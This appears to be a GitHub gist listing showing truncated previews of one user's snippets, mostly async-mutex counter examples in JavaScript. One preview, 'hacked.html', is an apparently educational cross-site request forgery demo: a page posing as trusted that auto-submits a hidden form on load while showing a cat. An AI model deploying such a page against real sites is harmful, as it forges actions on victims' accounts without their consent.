Skip to content

Instantly share code, notes, and snippets.

View ahmedsakr's full-sized avatar
💻
Coding from home

Ahmed Sakr ahmedsakr

💻
Coding from home
  • Wealthsimple
  • Ottawa, ON, Canada
View GitHub Profile
@ahmedsakr
ahmedsakr / hacked.html
Created August 11, 2020 02:24
A sample HTML page that can carry out CSRF attacks
<!DOCTYPE html>
<html>
<header>
<title>I'm a trusted page</title>
</header>
<!-- Immediately dispatch the forum when we load-->
<body onload="document.hackform.submit()">
<!-- Nothing suspicious... show the user a happy cat! -->
@ahmedsakr
ahmedsakr / naive-approach.js
Created August 13, 2020 22:44
A naive approach to implementing the Ordered Server Counter
import material from 'materialize-css/dist/js/materialize';
let count = 0;
// Server simulation
async function processCommand() {
count += 1;
return count;
}
@ahmedsakr
ahmedsakr / synchronized-count.js
Last active August 13, 2020 22:56
A synchronized solution to the Ordered Server Counter Example
import { Mutex } from 'async-mutex';
import material from 'materialize-css/dist/js/materialize';
let count = 0;
let clientLock = new Mutex();
// Server Simulation
function processCommand() {
count += 1;
return count;
import { Mutex, Semaphore } from 'async-mutex';
import material from 'materialize-css/dist/js/materialize';
let count = 0;
let clientLock = new Mutex();
let clientSempahore = new Semaphore(2);
// Server Simulation
function processCommand() {
count += 1;